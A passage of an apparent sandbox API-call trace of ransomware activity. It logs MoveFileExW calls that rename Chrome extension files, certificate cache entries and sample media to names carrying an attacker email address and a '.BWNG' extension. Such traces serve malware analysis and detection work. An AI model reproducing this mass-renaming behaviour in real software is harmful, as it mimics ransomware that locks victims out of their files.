halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\[billwong73@yahoo.com].bBKlRJVB-QQvcKxo2.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\[billwong73@yahoo.com].bbklrjvb-qqvckxo2.bwng"), dwFlags=0x1) returned 1 [0134.840] GetTickCount () returned 0x1169251 [0134.840] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27679217521) returned 1 [0134.840] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\[billwong73@yahoo.com].1s95EDVW-raClcwOR.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\[billwong73@yahoo.com].1s95edvw-raclcwor.bwng"), dwFlags=0x1) returned 1 [0134.842] GetTickCount () returned 0x1169251 [0134.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27679389868) returned 1 [0134.842] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\[billwong73@yahoo.com].ivBAPwQL-Spmu2ZXt.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\[billwong73@yahoo.com].ivbapwql-spmu2zxt.bwng"), dwFlags=0x1) returned 1 [0134.843] GetTickCount () returned 0x1169251 [0134.843] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27679553776) returned 1 [0134.846] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\[billwong73@yahoo.com].vRgVEqEL-w8T2drX0.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\[billwong73@yahoo.com].vrgveqel-w8t2drx0.bwng"), dwFlags=0x1) returned 1 [0134.854] GetTickCount () returned 0x1169261 [0134.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27680665955) returned 1 [0134.855] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\[billwong73@yahoo.com].xUCzGKgD-e0ItVyGy.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\[billwong73@yahoo.com].xuczgkgd-e0itvygy.bwng"), dwFlags=0x1) returned 1 [0134.856] GetTickCount () returned 0x1169261 [0134.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27680849599) returned 1 [0134.857] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\[billwong73@yahoo.com].o3zcLapt-efrrCjUf.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\[billwong73@yahoo.com].o3zclapt-efrrcjuf.bwng"), dwFlags=0x1) returned 1 [0134.858] GetTickCount () returned 0x1169261 [0134.858] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27681012135) returned 1 [0134.858] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\[billwong73@yahoo.com].eU6Ut9hj-5f8qBLVQ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\[billwong73@yahoo.com].eu6ut9hj-5f8qblvq.bwng"), dwFlags=0x1) returned 1 [0134.859] GetTickCount () returned 0x1169261 [0134.859] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27681166219) returned 1 [0134.860] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\[billwong73@yahoo.com].s6dazrBQ-9Ywt4lpA.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\[billwong73@yahoo.com].s6dazrbq-9ywt4lpa.bwng"), dwFlags=0x1) returned 1 [0134.861] GetTickCount () returned 0x1169261 [0134.861] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27681322096) returned 1 [0134.861] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\[billwong73@yahoo.com].dtlIG22i-58Gv1AGG.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\[billwong73@yahoo.com].dtlig22i-58gv1agg.bwng"), dwFlags=0x1) returned 1 [0134.863] GetTickCount () returned 0x1169270 [0134.863] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27681488141) returned 1 [0134.863] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\[billwong73@yahoo.com].FQvKmqQy-kM80hVQ4.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\[billwong73@yahoo.com].fqvkmqqy-km80hvq4.bwng"), dwFlags=0x1) returned 1 [0134.864] GetTickCount () returned 0x1169270 [0134.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27681662559) returned 1 [0134.865] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\a9e4f776657345b52012ce8e279d314c_183a5be0b233cc1d513955fabecf9450"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].X4x5NxCo-7LTvGEzX.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].x4x5nxco-7ltvgezx.bwng"), dwFlags=0x1) returned 1 [0134.866] GetTickCount () returned 0x1169270 [0134.866] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27681821301) returned 1 [0134.866] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\d47dbd2f9e3365fbbe008d71fb06716f_d33192d58aa9ca2b9097e848e9fe86de"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].ySb0vEv2-HFv0Bw1Y.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].ysb0vev2-hfv0bw1y.bwng"), dwFlags=0x1) returned 1 [0134.871] GetTickCount () returned 0x1169270 [0134.871] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27682342905) returned 1 [0134.871] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\-JSy.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\-jsy.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].NlvD2L7r-VRi4FuNf.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].nlvd2l7r-vri4funf.bwng"), dwFlags=0x1) returned 1 [0134.926] GetTickCount () returned 0x11692af [0134.926] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27687850907) returned 1 [0134.927] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\aHW97dgoH4YoGsZKkX4.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ahw97dgoh4yogszkkx4.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].fsdARLcr-A4EclkJl.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].fsdarlcr-a4eclkjl.bwng"), dwFlags=0x1) returned 1 [0134.928] GetTickCount () returned 0x11692af [0134.928] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27688045673) returned 1 [0134.929] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\[billwong73@yahoo.com].wdNyYthL-WJUOODRn.BWNG" (normalized: "c:\\users\\public\\music\\sample music\\[billwong73@yahoo.com].wdnyythl-wjuoodrn.bwng"), dwFlags=0x1) returned 1 [0134.930] GetTickCount () returned 0x11692af [0134.930] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27688196105) returned 1 [0134.930] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), lpNewFileName="C:\\Users\\Public\\Videos\\Sample Videos\\[billwong73@yahoo.com].d9JNo9iV-CN7Q08JM.BWNG" (normalized: "c:\\users\\public\\videos\\sample videos\\[billwong73@yahoo.com].d9jno9iv-cn7q08jm.bwng"), dwFlags=0x1) returned 1 [0134.989] GetTickCount () returned 0x11692ed [0134.989] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27694125980) returned 1 [0134.990] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\[billwong73@yahoo.com].A8PCMJFl-n2FJocD2.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\[billwong73@yahoo.com].a8pcmjfl-n2fjocd2.bwng"), dwFlags=0x1) returned 1 [0134.991] GetTickCount () returned 0x11692ed [0134.991] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27694362573) returned 1 [0134.992] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\[billwong73@yahoo.com].guK8CGas-5n4b9E3N.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\[billwong73@yahoo.com].guk8cgas-5n4b9e3n.bwng"), dwFlags=0x1) returned 1 [0134.993] GetTickCount () returned 0x11692ed [0134.993] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27694549351) returned 1 [0134.994] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\[billwong73@yahoo.com].DSJdsdf2-NzmFnyfY.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\[billwong73@yahoo.com].dsjdsdf2-nzmfnyfy.bwng"), dwFlags=0x1) returned 1 [0134.995] GetTickCount () returned 0x11692ed [0134.995] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27694719912) returned 1 [0134.995] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\[billwong73@yahoo.com].K1vDWXsf-zIOc7x0H.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\[billwong73@yahoo.com].k1vdwxsf-zioc7x0h.bwng"), dwFlags=0x1) returned 1 [0134.997] GetTickCount () returned 0x11692ed [0134.997] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27694886080) returned 1 [0134.997] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\[billwong73@yahoo.com].QNK7QLlm-yxXkbR3Q.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\[billwong73@yahoo.com].qnk7qllm-yxxkbr3q.bwng"), dwFlags=0x1) returned 1 [0134.998] GetTickCount () returned 0x11692ed [0134.998] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27695070116) returned 1 [0134.999] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\[billwong73@yahoo.com].GtGt04b5-oZppWIL0.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\vi\\[billwong73@yahoo.com].gtgt04b5-ozppwil0.bwng"), dwFlags=0x1) returned 1 [0135.000] GetTickCount () returned 0x11692ed [0135.000] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27695237706) returned 1 [0135.000] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\[billwong73@yahoo.com].oSKxfDRa-0vgr9tu2.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\[billwong73@yahoo.com].oskxfdra-0vgr9tu2.bwng"), dwFlags=0x1) returned 1 [0135.002] GetTickCount () returned 0x11692ed [0135.002] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27695397862) returned 1 [0135.002] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\[billwong73@yahoo.com].crBgVWNg-VqHQnFSV.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\[billwong73@yahoo.com].crbgvwng-vqhqnfsv.bwng"), dwFlags=0x1) returned 1 [0135.003] GetTickCount () returned 0x11692fd [0135.003] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27695565001) returned 1 [0135.004] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\[billwong73@yahoo.com].ppd6xgHu-QeMSAxZk.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\et\\[billwong73@yahoo.com].ppd6xghu-qemsaxzk.bwng"), dwFlags=0x1) returned 1 [0135.005] GetTickCount () returned 0x11692fd [0135.005] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27695729802) returned 1 [0135.005] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\[billwong73@yahoo.com].SAEtZe21-vvElyriJ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\[billwong73@yahoo.com].saetze21-vvelyrij.bwng"), dwFlags=0x1) returned 1 [0135.007] GetTickCount () 